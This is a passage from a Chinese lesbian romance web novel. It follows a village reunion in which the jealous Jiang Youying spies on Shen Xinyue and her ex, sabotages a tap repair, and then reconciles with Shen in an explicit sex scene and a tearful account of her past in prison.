楼下,外婆要擀面条给她们吃,几人担心把老太太累坏了,不肯,外婆非要,说她们难得来一趟。 “尝尝我的手艺,一般人可没这机会。” 孟新竹主动提出帮忙,说学会了回去做给暴暴她奶奶吃。 外婆说行,看一圈,点了程意,让她去隔壁院子再找块面板过来。接着回头跟竹子闲聊,“听你那意思,这世上也是没什么亲人了,跟我家满满一样。” 竹子吩咐周醒把面粉袋子抱院里,“我不知道满满什么情况,我十几岁双亲就车祸走了,我后来住在周家,一直是暴暴奶奶照顾我。” 昨晚小院那场游戏,外婆旁边默默听她们说话,这么多年跟别的老太太村口侃别人家闲篇练出来的,零零碎碎,东拼西凑攒出个完整故事。 “然后你就跟你那前女友,也就是暴暴她堂姐好了是吧?” 手背掩唇,孟新竹直笑,“您老人家还挺敏锐的。” 她不否认周凌一家曾经对她的好,“我跟她的关系,我努力过,但最后实在是走不下去了。而且感情的事,光靠一个人努力是不够的。” 周醒抱了面粉,孟新竹又让她去摘葱,她不走,假装在那忙,把面粉袋子从左挪到右,又从上挪到下,瞎忙活。 “我跟暴暴现在这样挺好,她对我好,我也对她好,她很有趣,很可爱,她身上的热情感染了我,她是一位不可多得的优质恋人,我发誓爱她一万年。” 孟新竹坐到面粉袋子对面,看着周醒说。 嘴角快咧到耳根,小牙白晃晃,周醒笑得满脸不值钱,“那我去摘葱了。” “好孩子,真勤快,后院堡坎底下有片菜畦,多拔两根。”外婆叮嘱。 回头又跟竹子说话,“以前那个不知道什么样,这个确实挺有意思的。” 孟新竹笑笑,她不喜欢在背后说人坏话,周凌再怎么样都跟她没关系了。 程意在厨房搜了半天,没找到外婆要的面板,不好意思回去问,正要喊人帮忙,沈新月跟江有盈前后脚下楼。 面板搁在冰箱后面那个小夹角,程意说怪不得半天找不到。 江有盈把板子拿出来,没让她接,“我给外婆送过去吧。” 也好,程意落后几步,满脸精怪拉着沈新月说话,“昨晚怎么样,我竖着耳朵听了半天,没听见动静啊。” “你想要什么动静?”还竖着耳朵,沈新月送她白眼,“人家伤心着呢,就纯聊天,而且我们还没和好。” “没和好也不耽误睡觉吧。”程意胳膊肘捅她,“真睡了个素的?” “关你屁事!”沈新月一把推开,“瞎打听什么,好事精。” 被推得趔趄几步,扶墙站稳,程意撩了把头发,“要不我帮帮你。” “用不着。” 沈新月闷头走出几步,转身,“咋帮?” 程意伸腿踹她,“你还跟我装!装得道貌岸然。” 沈新月跟程意其实没谈多久,两人在一块还没半个月就分手了。至于为什么,说出去惹人笑,撞号。 那天是在酒吧,丁苗这个大忙人也难得到场,很晚了不好打车,也不安全,程意就说在附近酒店休息一晚。 都是成年人,话里什么意思懂的都懂,沈新月洗完澡出来,看到那人正趴在床头试指套,她当时脑子嗡一声,进房间穿上衣服就走了。 尴尬,浑身只有尴尬,沈新月当着人面直接打开门走出去,搭上车才想起来给人发短信,简单说明情况。 程意好脾气,没怪她,还表示理解,事后不知是为挽尊还是内心真实感受,说我对你其实感觉也一般。 在车上,沈新月给丁苗打电话,说怪不得心里那么别扭,跟她之间总有层隔阂,亲近不来。 丁苗很意外,“这半个月就没人提过?” 沈新月恋爱经验不算丰富,当时也是程意先搭讪,她就顺势跟着往下走。 出于礼貌,她没问,谁知闹了个大乌龙。 丁苗说那你也没必要打车走,来我房间不就行了。 沈新月说算了,车都快开到家,留在那第二天碰面大家面子都不好看。 大胖小子事件后,沈新月伤心了挺长一段时间,跟程意相处,起初是觉得别扭,但没深究,后来只剩好笑。 谁知后来程意竟主动联系她,约她出去吃饭,她应下,趁机给人赔礼道歉。 一来二去,两人发展成朋友,都觉得做朋友比做恋人状态舒服得多,事业上互帮互助,平时约饭打球。 所以沈新月一直觉得人跟人之间是讲究眼缘的,当然不排除日久生情的欢喜冤家组合,但对她个人而言,第一眼感觉尤其重要。 再一次不免想起乡道上那惊鸿一瞥,沈新月低头笑,程意挨过来,“看不出来你还挺纯情。” “我一直纯情。”沈新月没好气。 “是,洗完澡出来直接打车跑。”程意旧事重提。 沈新月挺胸,“我守身如玉,我光荣。” 丁苗在院外不知道跟谁打电话,笑得挺贱的,把她家院门口一小片墙皮都抠没了。 “你干嘛!”沈新月急忙上前制止,在她手背打了一巴掌。 丁苗吃痛皱眉,跟电话里那人解释,“我朋友,不是别人。” “你再抠我剁你手。”沈新月警告。 “没乱抠。”丁苗跟人说:“抠墙皮,不是抠别的。” 程意在旁边笑得颠来倒去。进院之前,她拉着沈新月说话,“一会儿你看我怎么对付她。” 沈新月点头,“不过丑话说在前面,此女心机深沉,手段歹毒,被整别怪我没提醒。” 程意比个“OK”,“姐什么大风大浪没见过,model圈里妖魔鬼怪大把的。” 周醒一天到晚围着她家竹子姐转,竹子跟外婆学擀面,她在旁边忙活得起劲,又是拿鸡蛋,又是撒面,干完了活儿还要人夸夸,“我做得对吧。” “暴暴很棒。”竹子一边揉面一边还得抽空哄她。 江有盈送来面板,左右没什么事儿,在旁围观。 沈新月经过,劝她,“你别看了,越看越难受。” 江有盈没动弹。 周醒闲不住,“姐姐你等下,我给你弄弄头发,挡眼睛了。” 孟新竹把头歪过去,周醒重新给她扎了头发,“滑滑,还好香。” “好了吧?” “好了。” “你肚子饿不饿。” “饿。” “那你先找点东西吃,垫着。” “我不,我能忍,我要吃你做的面。” “那我快些。” “没事你慢慢来。” 江有盈终于明白沈新月为什么会说“难受”了。 她不仅难受,她还有点恨她们。 她们关系好好啊,凭啥我没有,大家都是人,老天爷为何厚此薄彼。 程意进院,问沈新月她房间在哪儿,想换件衣服。 江有盈回头,沈新月抬手指了个方向,说哪哪哪,程意搂着她胳膊撒娇,“你带我去,人家找不到。” “我还得喂鸡。”沈新月让她自己去。 “好吧。”程意嘟嘟嘴巴,扭着屁股上楼。 江有盈木着张脸不说话,还好外婆给派活儿了,说院里那个水龙头老滴水,让她给看看是不是接口松了。 靠墙有个水池,池子里贴满小小的彩色瓷砖,池子平时洗衣服洗菜,浇花啥的,方便。 江有盈检查过,“确实老化了,我那边正好有一个新的,拿过来换上就是。”说完转身出去,回家拿工具箱。 门口丁苗还在打电话,不抠墙皮了,改抠青苔,手里捏根小树枝,把墙角那一溜青苔全刮个干净。 江有盈盯着她背影叹了口气,院里二楼程意跑出来,在那喊“嘟嘟”。 沈新月是真好喊,一喊就应,问“干啥”,上楼去了。 江有盈回小院在一楼拿上工具箱,刚要走,手攀在楼梯扶手,拧眉脑瓜里不知琢磨了些什么,肃着张脸上二楼。 后面小露台可以直接望进沈新月房间,她把工具箱放地上,顺手抓来花架上一把剪刀,脸朝窗户方向,弯腰假装修修剪剪。 床上扔了几件衣服,看不到人,说话声音也模模糊糊,只依稀分辨出在笑,嘻嘻哈哈,推推搡搡。 江有盈脸色顿时变得很难看。 恰在此时,窗前一道人影晃过。吓一跳!心脏猛地一缩,江有盈飞快下蹲,躲到花盆后面。 不知是弯腰时候动作太大,还是衣角不当心挂住花枝,一只红陶花盆从她头顶顺着后背翻滚下来,“砰”地落地,碎了。 “谁?”沈新月听见动静,跑去窗口。 跪趴在地,江师傅满头的花和土,狼狈不堪,担心被人发现,连连往后退。 可有句老话怎么说,人倒霉的时候喝凉水都塞牙。 撤退途中,她慌慌忙忙的,又碰倒两个花盆,露台嘁喳一顿响。 “什么?”程意也跟着凑到窗边。 花枝缝里瞥见片熟悉的衣角,沈新月没忍住偷笑一下,说“没事”,就要把窗户关上。 “等等。”程意手挡着,眯眼,“对面是民宿二楼的露台吧?连着你老板房间。” “你看错了。”沈新月还是挺给人留面子的。 可程意是什么人,瞪大眼睛,“你老板在那监视我们?” 她噗呲乐了,“干嘛,抓奸呐,抓奸不成摔个大跟头。” “去你的。”沈新月推着她往外走,“不许看了。” 程意提议,“我们抓她去。” 沈新月停在房间门口,有点心动,继而想到某人上次翻墙把自己摔得满身伤,又心疼了。 “你别欺负她。” 不用人欺负,江师傅自己把自己欺负得够惨,满头满身土,脑袋还给花盆砸了下。 第72章 江有盈重回小院是二十分钟后。 沈新月一直忍耐着没去看她,不想让她尴尬。 她换了身衣裳,还洗了头发,半湿的状态披散双肩,手里提着工具箱,一言不发直奔水池。 竹子和外婆的面团盖着保鲜膜等发,趁着空闲,她们几个聚到外婆房间看沈新月小时候的照片。 沈新月估计她们是翻到大胖小子了,屋里笑成一团。 丁苗终于挂了电话,门边招手,“嘟嘟你快来啊,你来看!” “看你个头。”沈新月才不要自取其辱。 她挨去水池那,看江有盈把池子旁边阀门关了,水龙头拆下来,打算换新。 沈新月倚在水池那看她干活,有好一晌没出声,手几次抬起来,又缩回去。 “我没事。”江有盈倒是主动认了。 沈新月听着碎了好几个花盆,“真没事?” 她低着头,说“没事”,扳手圈圈拧,新的水龙头装上去,才发现忘缠生料带,还在滴水。 “怎么?”沈新月也注意到了。 江有盈简单解释一番,“我回去拿。” 擦身之际,沈新月拉住她手腕。 别扭得很,受了委屈不肯说,还强撑,沈新月拉她到板凳坐,扒开她头发看,“我听见花盆砸了,还砸了好几下。” 江有盈皱着眉挣,“就一下,后面两下不是砸头。” “你承认砸头了。”沈新月摸了半天没摸到伤口,想来也不严重,“还说没事。” 她两手比划,“就倒下来,碰了一下,顺着后背滚到地上才摔碎的。” 于是沈新月又去摸她后背,“疼吗?” “不疼。”她摇头,真不疼。 “那你去吧。”沈新月放她走,“我也不知道什么是生料带,不然就替你去了。” “我自己去。”江有盈说着就要走。 刚起身,二楼围栏边,程意一根柳枝条似软趴趴搭在那,挥挥手臂,“你们楼下干什么呢,笑得那么大声,房顶都快给你们掀塌了。” 到底是模特,身段好,窄裙裹身,腰是腰腿是腿,胸型自然好看,屁股虽小,也够翘。 她踩着高跟鞋拎着裙摆慢吞吞下了楼,沈新月面前转个圈,“怎么样?” 裙子是沈新月的,单看款式挺素净,白底碎花,很有弹性的棉质布料,换沈新月穿不至于绷那么紧,程意骨架比她大了一圈,加上姿态妆容什么的,这条裙子给穿出了不一样的味道。 “好看。”沈新月真心实意的,“好看是好看,但我没想到,这裙子能穿得这么骚气。” 她夸她来着,性感嘛。 程意个儿高,裙子只能盖住大腿一半,她咬唇搔首弄姿,撩拨裙摆,没骨头似往沈新月怀里倒,不知又从哪儿翻出盒新的穿戴甲,十根手指尖尖,挑起她下巴,“女人,我美吗?” “你肯定美啊,你靠脸吃饭的。”沈新月老实说。 “我身材也好。”程意伸腿。 “是,你身材也好。”沈新月配合。 江有盈从板凳上站起来,转身出去了。 程意松手站直,跺跺脚,理理裙摆,小声,“怎么着?” 沈新月摇头,“不知道啊,深藏不露。” 程意说不可能,“真会藏就不会给人发现了,我听响起码三个花盆。” 沈新月点点头,“确实是三个,但要真全藏起来了也不行,总得留点破绽,给人拿个什么东西撬。” 丁苗跑过来问:“你们在说什么?”她一句也听不懂。 程意摸摸她头,“乖孩子,上班去吧。” 丁苗确实是出来上班的,回房要找她的电脑,说昨天太着急,文书写错了,得改。 “这人上班都上魔怔了。”沈新月看丁苗急吼吼跑出去,“我以前也差不多这样,不是公司破产实在走投无路,不会回来。可住时间长了就会发现,再也适应不了城市里的快节奏。变懒了,变笨了。” 程意屁股歪在池水边,叹了口气,说可不是,“但要完全摆烂也挺难的,我电话也不少,都催着我回去,我关机了,可心里一堆事悬在那,也不能做到完全放松。” 两人有一搭没一搭聊着,听见门前脚步声响,程意“哎呀”着又往人身上靠。 沈新月不防她突然倾身,没站稳,趔趄两步,手撑水池边缘。一张烈焰红唇贴近她耳根,“要不再试试我,尝一口回头草,反正你现在也单着,咱俩做对那什么,临时爱人,先快活两晚。” 话音刚落,门口江师傅去而复返,“麻烦让让。” 她提着扳手来插队,硬要往人中间挤,蛮力挤开,“检查水管。” 沈新月退后几步。 程意跺脚,“干什么你,没看见有人。” “看见了。”江有盈拿扳手重新旋开水龙头,“那么大一坨。” 心中警铃大作,沈新月疾疾退后,程意毫无所觉,还跟人往前凑,“看见了你硬往我身上撞,干嘛,喜欢我呀?还有你怎么能用‘坨’来形容我呢,听起来圆滚滚软趴趴像个面团,我是‘条’,细长条,一根也行啊。” 江有盈手腕快速拧了一圈,水龙头“哐当”掉进池子里。 激流喷涌,管子里的水拳头一样打出来,程意躲闪不急,被浇得满头满身。 她一顿吱哇乱叫,鞋跟在青石板踢踏乱响,连连后撤。 担心面团被打湿,沈新月迅速接替了程意的位置,用身体遮挡。 水流在青石砖上汇成小溪,江有盈迅速关闭了水闸,指尖动作快速灵巧,她睫毛扑扇,诡计得逞,满怀欢欣。 半个小时前才洗过澡,现在又弄得满身湿,江师傅伤敌八百,自损一千,还偷乐。 “咋回事。”沈新月摸了把脸上的水,叉腰问。 “忘了关闸。”江有盈迅速在管口缠了圈胶带,水龙头重新拧上。 不到半分钟,完事。 “好啦。” 好啦,啦,啦啦啦—— 外婆从房间里拿了条毛巾出来,递给程意,“擦擦。” 周醒探头,“怎么了?” 孟新竹跑去面板边,“还好还好。”她的面团没遭殃。 江有盈提上工具箱转身出门,沈新月跟在后头,撩了把湿淋淋的额发,“我里面内衣都湿了。” 在一楼放了工具箱,洗手,两人前后脚上楼,又前后脚进了房间。 沈新月换了室内拖鞋,直接去柜子里找衣服。 她其实挺喜欢江有盈穿衣风格的,要说衣架子,程意当然,但江有盈也不差,沈新月觉得自己也不差。 同一件衣服穿不同人身上,不同感觉。 沈新月早看上江有盈柜子里那种宽松的像太极服一样的绵椆衣服,她挑了身麻白色的,刚取出来要扔床上,一转身,撞上柜门,往后推了半步。 江有盈就在身后,靠得很近,湿发贴腮,低垂着眉眼,也许是因为淋湿了,看起来有点难过。 “怎么了。”沈新月歪了下身子,把要穿的衣服先放过去。 以为她要走,江有盈急忙捏住她手腕。 站定,沈新月在两扇柜门之间,柜子里很香,全是她的味道,苦中带甜,不是平常只能靠近才能闻到的那种丝缕的气味,很霸道,像一张网,兜头把人网住。 她唇也淋了水,泛起晶亮,沈新月忽然有点渴。 “你答应我不跟她好的。”她不开心地蹙着眉,有点埋怨,因此音色低哑,“说了五在前,四在后。” 是,她是这么说过。 “可那是你说的,不是我说的,再说我也没答应你。”沈新月想看她如何应对。 她果然挫败,不甘咬唇,抬头,“那你喜欢她吗?” 抛出问题,却并不期待回答,又问:“还是喜欢我更多。” 肯定的句式。 沈新月笑一下,“按照你五四三二一的逻辑排序,你觉得呢。” 小小欢欣,她眉峰舒展,“那还是喜欢我更多。” 当然,她淋水我都没管。沈新月默然不语。 她脱掉外面那件衬衫,然后是背心。沈新月脚步微错,手指扣上柜门,随即手腕被抓,面前人带着她的手往下走,隔着长裤,身体完全倾靠过来。 “我很想你,我们分开的每一天,每一夜,每一分每一秒,我都很想你。” 没什么恋爱经验,不懂撒娇也不会往人耳朵边吹气,说那些乱七八糟的,辣耳朵的,江有盈只能把自己内心最真实感受告诉她——她的身体很想念她。想被刺穿,被进出,被她完全占有。 心跳陡然乱了,沈新月气息变热,她的唇若即若离,偏不吻来,只是带着她手自顾自忙。 后背抵着柜门,她柔软馨香的身体盈得满怀,趴在那小声地喊,贴着她蹭。好不讲道理。 像一条摆尾的鱼,岸上自顾扑腾一阵,如愿入了水,江有盈湿漉漉地抵着她,抬起亮晶晶一双满足的眼,不好意思笑笑。 “我今天表现好吗?” 沈新月头发乱乱的,衣服乱乱的,心也乱乱的。 “你表现什么了就。” “我在示好。”此人有理有据,苍白的脸颊晕染一抹飞红,真是太久没做,这次到得很快。 她意犹未尽舔唇,追问:“表现好吗?” “不好。”沈新月诚实回答。 “那你罚我。”她笑容狡黠,靠在人肩头平复,细长手指在锁骨那一圈圈打转,“我不如人家聪明,又不如人家漂亮,乡下大姐一个,实在没辙了。” 沈新月恼她任性,是真任性,想干什么就干什么,认定的事十牛头都拉不回来。 可也因此见识到她急了眼没羞没臊的另一面,底线一退再退,快要守不住了。 “我就是欠收拾。”她继续进攻,“真的特别可恶,坏事做尽,你收拾我。” 第73章 乡下大姐还有两副面孔。不,是好多副面孔。 沈新月被她手指撩得痒,俯身欲吻,她在人怀里一仰,轻巧躲开。 还没有得到想要的答案,她眼睛亮亮,饱含期待,嘴角微翘,衔着那么点小俏皮。 沈新月何曾见识过。 原来人被逼急了,真是什么事情都做得出来的。 不急着去哪,也没什么非做不可的事,沈新月自认有很好的耐心,却还是忍不住计较眼前的得失。她都没亲到。 “这就是你的示好?” 江有盈两条软软的手臂勾着她脖子晃,“你先答应我嘛。” “想吃白食?”沈新月一眼看穿。 “没呀——”她偷笑,又嗔,“我一大早饿着肚子,吃什么了。” 沈新月腾出只手,按在她刚才牵着她去的那地方,施加压力,“你想赖账。” 她立即变了模样,前一秒还满脸深沉盘算着怎么给人下套,忽就软倒,像只被人强搂在怀里的小猫,毫无威胁的力道扭身挣扎着,哼唧出一串媚调。 乡下大姐好手段,沈新月情迷俏寡妇无法自拔,哪怕被人扇巴掌。 不知如何动作,猛一把掀开纱帐就滚到床上去,帐子云般铺盖她半身,沈新月居高临下,隔纱凝望,其下曲线曼妙,风情荡漾。 她勾勾手指,唤狗一样,“来。” 沈新月拨开云雾,鬼使神差,脖子上好像套了根绳,被迫一步步靠近。江有盈目光变得柔和且迷离,揽住她,让她贴近自己的心脏,“你听一听我的心跳,她也说需要你,不能没有你。” 沈新月有一双纤浓的眉,那代表正直和纯洁,江有盈爱极,一遍遍抚。她的眉不算稀,只是淡,心思敏锐,顾虑重重。 小时候找人批过命,说她少小离家,六亲缘浅,远离故土才可能有机会施展抱负。 如今看来,那道人倒是没唬她,测算全都应验。 失去的,上天入地也拿不回来了,到手的蛮不讲理使劲甩开过,老天怜她凄苦,还留有一线机会,供她挽回。 “对不起。”江有盈数不清自己说了多少遍,但还是要说。 经此一事,她明白个道理,心里想什么就说出来,别藏着,谁也不是谁肚子里的蛔虫。 “我喜欢你,我爱你,我不能离开你,每分每秒都需要你,更不愿看到你跟别人在一起。” 说完之后,她捧起对方的脸,“你会不会觉得肉麻。”她自己觉得肉麻,她从来没说过这样的话。可是,爱就是需要很多庸俗的表达。 “我不说,你怎么知道我爱你。是你让我说的,你教我的,我什么都告诉你了,我过去经历的一切,好的坏的,遇见的所有人。我说完了,你不能不要我。即便是跟我置气,看在我这么可怜的份上……” 沈新月觉得自己太没骨气。 是,她扛不住了。 她就是一条狗,人家召之即来,挥之即去。 那双眼如有漩涡,深不可测,回想她们初见,对她一无所知,尚且难以抵挡,只一眼就沦陷。 此时此刻,她种种示好,轰炸表白,铁打的心也融化。失守,跌落在女人温软的怀抱,随即那唇舌来绞,沈新月理智尽失。 呼吸相融,蜜样浓稠,熟悉的感觉又回来了,江有盈听见床头抽屉开关时发出的砰响,她冰凉的皮肤似有火星溅落,她不知道下一个会落在哪里,每一次都激得她浑身抖。 “你想我吗?”想跟她说话,江有盈在她低头整理装备时抽空问。 沈新月用行动回答。 有多爱,就有多恨,有多想,就有多狠。她想要就给她,做错事总得受到惩罚,光说对不起有什么用。 掌心接得淋淋一汩,沈新月低头去看,不由眼眶发红。灵巧将其翻转,如愿收获她一声低叫,返回温巢,泉眼本无声,捣得咕叽。 吵架那些日子欠的都补上。 烟花在眼前炸开,腰肢抬高,痛苦和欢愉界限微妙,江有盈连连往外推。 沈新月吻得又凶又急,额头有细汗,捏住她下颌,“不是要道歉吗?才几次。” 她趴在凉席,浑身汗湿,像条任人宰割的鱼,累极,连眼皮都睁不开。 好可怜。沈新月心里软软一汪,再次去吻她被咬红发肿的唇,万分柔情。 “你爱不爱我啊——”她睁开眼,不知何时,眼眶竟蓄了汪泪。 沈新月惊惶,亲吻她颤抖的睫毛,“对不起。”以为是自己太粗暴。 眼泪颗颗滚,江有盈握住她手贴在脸颊,“你不爱我,就真的没人爱我了。” 沈新月急忙将她身体扳正,柔抚去她面颊乱发,“怎么会,还有星星,外婆她们呢,别胡说。” “那你呢?”她用力看她,双眼剔透无比,“为什么没有你,你不爱我。” 该怎么说,沈新月抿唇。 她更加绝望,身体蜷缩起来,双手掩面大哭,“你不爱我,睡了我,却不爱我,只是馋我身子。” 什么话!沈新月怎么能接受这种污蔑,她拿开她手,“我爱你,我当然爱你,我睡你,你还不是睡我了。我早跟你说过,我这人特别洁身自好,从来不做那些乱七八糟的事,别把我想成那种人。” 这位江师傅却一个字也听不进去,“我十四岁爸爸就走了,住到别人家,天天受人白眼,十五岁又没了妈妈,我在监狱,那些人看我年纪小,个个都欺负我,又见我长得好看,想占我便宜,里面不许打架她们就掐我,得不到我,骂我是祸水,还踢翻我的饭。” 沈新月震惊,之前还以为她在开玩笑。 “都是女人,她们为什么?” “女人里面,也分好人和坏人。”她哭得停不下来,“……我又不是个物件,我是个人,你根本不知道那里面有多乱,太多你想象不到的事了。” 心疼,沈新月赶紧抱住她,凉被包裹她身体,“别怕,都过去了。” “她们都有家人看望,我没有,从来没人看望过我。” 活鸡店的钱多多跟她并不相熟,她有她联系方式,却不敢跟她通话。 她眼泪止不住,沈新月擦不完,一时无措,只能先哄着她,顺着她。 “那你怎么不联系她,她肯定会去看你的。” 江有盈忽然不说话,呆望前方。 “嗯?”沈新月晃晃她。 许久,江有盈才怔怔道:“她大概以为我跟妈妈已经顺利逃跑,去到一个谁也找不到的地方,过上安稳的生活,我不想破坏她心中那份美好幻想。” 那的确是一份美好的幻想。 新闻铺天盖地,钱多多怎么会看不到。但确实没什么充分的理由,一定去看望她。 “如果是我,我会去看你的。”沈新月设想,哪怕她只是她的一位同学。 “真的吗?”她抬起脸,泪汪汪。 沈新月用力点头,“我初三那年,有个同学因为偷盗被抓,我听说以后,确实有看望过他。” 同学是她的同桌,家境不好,寄宿在亲戚家,父母外出打工,寄来的钱却被亲戚克扣。 学校资料费要得勤,每次学委来收钱,他都闷头不说话,十分窘迫。后来,沈新月听他说起家里的情况,就大方替他把钱交了。 他收到学委发下来的资料,十分意外,沈新月忘不掉他当时神情。 喜悦,又伤心,庆幸,又难堪。 “他被抓,我带了些零食去看他,他只是缩在墙角抹泪。后来上高中,不在一个学校,没听说过他的消息,直到大学,一次我跟同学聚餐,是他来送的。我当时没发现,他走了以后才给我发短信,说再没偷过东西,自食其力。” 沈新月捧起她脸,“如果,那时你是我的同桌,我听说你的消息,一定会找机会看望你的。因为我了解你的为人,我知道你有苦衷。” 江有盈相信她说的话,沈新月一直是很好的人。 她紧紧扣住她手,开始幻想,已逝的狱中岁月再翻起,少了份铁锈味的冷,尽管那只是*一种假设。多少年,她都是靠在那点可怜的幻想过活。 “为什么我们不能早点遇见。”眼泪又颗颗滚。 沈新月耐心去哄,“现在就是最好的时候。” “可你现在不喜欢我了。” 她哭得停不下来,“是我自己作孽,我坏事做尽,活该受罚,没人爱我,也没有人去看望我……在这世上孤零零,小时候算命的跟我讲,我还不相信。” 她手往外推,哭迷眼,什么也看不见,虚空中乱摆。 “你走吧,你朋友还在楼下等你,我自己待着,一会儿就好了,晚上想吃什么提前告诉我,我去做。” 她哭得这么可怜这么伤心,沈新月怎么可能丢下她,即便没有那些事,亲密结束后也该好好抱抱她哄哄她的。 “你不爱我,是对的,我不值得被爱,我太糟糕了,我对你做过那么多坏事,欺负你,害你伤心流泪……” 她皮肤薄,还很白,毛细血管膨胀,脸和鼻头红红,眼泪是屋檐下的雨,串串掉。 沈新月被搅得稀里糊涂,“我怎么会不爱你呢,我不爱你,哪会时时留意着你的情绪,从昨晚,你说第一句话开始,就满肚子小心。后来又跟你去河边散步,听你说好多,被蚊子咬,再回小院,留在房间陪你,直到把你哄睡着……” 挫败极了,她怎么会以为她不爱她。 沈新月却说不出责备的话,她眼泪把衣服把都打湿了。 “真的吗?”抹泪,江有盈深深凝望着她,视线探究,小心。 “当然。”沈新月坚定。 “那……”她再去握她手,“你只是跟我赌气,对吧,气我伤你心。” 显而易见。 沈新月点头。 “我要你说。”她抽泣着。 “我当然生气,换谁不生气,人家好好跟你讲那么多,你一句不听,固执死了。” 沈新月鼓脸,“现在想起来还生气呢。” “是我错了。”她爬起,吻她唇,轻缓温柔,含情脉脉。 又抓来人家手贴在湿湿热热的脸颊,“原谅我好吗?” “我那时候只是太害怕了,万一你知道实情不要我,我本就凄惨,亲眼目睹至亲惨死,将我抛弃,我只是害怕被抛弃……” 凉被半裹,她像只纯白的小兽,从被里钻出,完全依偎在沈新月怀里,与往常形象极致反差,这般示弱示好。 亲密的肢体接触,低柔的话音,满目浓情眷恋。 天大的气,也消了。 “是人都会犯错,知错能改善莫大焉,我知道你心好,别跟我计较了。” 蜘蛛一样,会吐丝的女人。 沈新月浑身上下,被裹缠得密不透风,“那,那你以后,不可以再推开我了。” “你不要推开我,我就感恩戴德,我怎么敢。”她乖乖靠在她肩膀,头在肩窝那蹭蹭。 沈新月不自觉回蹭,傻乎乎,晕头转向,“我没有推开。” 第74章 沈新月换衣服收拾好下楼,小院就剩丁苗和程意。 暴竹出游从来不带电灯泡,外婆很忙,要打牌,要直播PK,还要满村给人断案,谁家狗丢了,谁家两口子打架,谁家小孩把作业本扔河沟里…… 丁苗根本只是换个地方上班,树下噼里啪啦敲键盘,不时接听电话,回复消息。 程意那身裙子没换,摇椅躺着,差不多晾干。她没对象,目前手边也没工作,直嚷嚷无聊,“我无聊死了!” “上班去。”丁苗头也不抬。 程意挺身坐起,“你给我拍照。” “拍照算什么工作。”丁苗外行。 “我的工作就是拍照。”程意拽她,“说真的,跟我去荷塘拍照,我要发美照。” 丁苗让她撒手,“没看见我正忙着,你让嘟嘟跟你去。” “忙忙忙,早晚猝死。”程意伸腿,脚趾夹了她大腿肉,用力拧。 丁苗痛叫,抱着电脑躲去一边,“你怪不得单身,一点不懂怜香惜玉。” 程意不服,“那也好过你!我看你就是个猪脑子,拎不清事情的,就你这样还当律师,一点眼力见没有。” 面条下锅的时候,丁苗注意到院里少了两个人,好朋友,她真心朋友,满院喊“嘟嘟”。 得亏程意发现得早,赶紧把她从隔壁小院拎回来,不然肯定坏事。 丁苗扭头想再理论几句,电话响了,赶忙接起。 沈新月推开院门走进来,换了身宽松的绵绸衣裳,江有盈的,她一直很想穿的,有宽松的大袖和裤腿,像《卧虎藏龙》里的玉娇龙,潇洒随性。 为搭配衣服还专门梳了条辫子,也是江有盈给她梳的。沈新月惊奇小妈宝女竟学会梳辫,江有盈笑着说都是用星星的脑袋练出来的。 昂首大阔步,神清气爽,精神抖擞,沈新月面带微笑,浑身上下写满“快活”二字。 “呦——”程意立即弹起,“大变样啊。” 面板收了,沈新月直接进厨房,外婆给留了两人份手擀面装在小簸箕,她洗了面锅重新烧水,碗里下调料。 程意跟进厨房,“怎么样。” “什么怎么样。”沈新月装傻。 程意歪过半边身子去看她脸,白的白,粉的粉,眼珠子也水当当。 “吃好了。” “没啊。”沈新月手指一下面锅,“都还饿着肚子呢。” 程意让她别装,沈新月才不会把自己闺房事拿出来讲。 “别这样,显得特别油腻。”缓了缓,想到什么,“你很寂寞吧,连小苗儿那样的工作狂似乎都有恋爱迹象了。” “呵——”程意双手环胸,“你在嘲讽我吗?” 沈新月指天发誓,“绝对没有。” 回头又劝,“再等等吧,正缘说不定就在哪猫着,等你也是等得心焦。你看我前几个月,就回家之前,还以为这辈子就这样了,谁成想那么快就谈上。” 程意听出她意思,“和好了?就这么轻易和好了?” 轻咳一声,沈新月往面锅里丢了把青菜。 “当然没有,但她既然主动跟我认错,我不好一直绷着。而且她真的很可怜,她的身世,她的过去,我心善,你知道的。不说完全和好,隔壁邻居住着,抬头不见低头见的,她有事我不能不管。” 程意表情复杂,“你知不知道自己在说什么。” “我知道啊,我知道。”面锅开,往里添半碗凉水,再开面就可以捞起来了。沈新月拌好面端着碗出去,“麻烦让让。” 累极,又不太想睡,江有盈散着头发躺在床上玩游戏。 她不戳消消乐了,新找着个种地的,得时不时上田里收割水稻甘蔗,还要盖房,养牛,喂鸡等等。 沈新月把面碗搁在小桌,坐床边歪那看一阵,亲亲她脸,“老婆,吃饭了。” 江有盈“嗯”一声,皱眉抱怨,“糖老是不够用,甘蔗四个半小时才成熟。” 沈新月撅个腚,下巴枕在她肩膀,“我在你身边还不够甜吗?” 手一顿,江有盈扭头看她一眼。 沈新月也有点不好意思,“哎呀哎呀”打掉她手机,又“啵唧啵唧”没够去亲。 “吃饭吃饭,一会儿面坨了。” 辣椒搁得往常的量,江有盈南下数年,早就习惯了口味,但今天是个例外,沈新月发狠,她在床上吃了不少苦头。 嘴唇被噬咬红肿,她难受地蹙着眉,唇瓣辣痛,微微颤。 本是面对面一个坐沙发,一个坐蒲团,沈新月赶紧挨去她身边,“怎么了!” “嘴疼。”江有盈去找自己的茶壶。 沈新月抢先给她端到面前,“我重新给你煮一碗。” 狱中食物珍贵,江有盈不舍得浪费,“我慢些吃,适应就好了。” 沈新月思索几秒,“那我去给你泡柠檬水,再搁些蜂蜜,好不好?” 不等人应,“嗒嗒”跑下楼,几分钟后她端来大杯冰镇柠檬水,“快喝!解辣。” 柠檬水蜂蜜搁得足足,酸甜可口,江有盈很给面儿喝了大半杯,再抬头,冲她莞尔一笑,“谢谢嘟嘟。” 手臂挽起,头依偎在肩,江师傅简直温顺得像只小猫,“我真幸运。” 沈新月立即就晕乎乎了,还在吃东西,不好去亲她,只是拉着人家手,一下下摸手背,“没事的,都是我应该做的。” “嗯嗯”点头,江有盈娇滴滴偎在她怀里,垂眼默了几秒,“那你在楼下,你的朋友们问起,你是怎么说的,有说我们和好了吗?” 沈新月笑容僵在脸上。 和好了吗?当然! 多大事儿值得费心记那么久,江师傅是有苦衷的嘛,她身世多可怜,她又不是故意的,她只是太害怕了,害怕被抛弃。 再说,她也道歉示好了呀,干嘛还死揪着不放,小气鬼! 然后呢?程意问了,她怎么说的? 她说“当然没有”! “我知道了。” 江有盈慢慢脱离她怀抱,不吵不闹,继续小口吃面,喝水。 什么意思啊,沈新月一颗心被揪紧,泛出汩汩酸苦。 像断了线的风筝,她失去牵引和方向,风里晃荡几下,直直坠落。 “你怎么了。”沈新月跪坐在她身边。 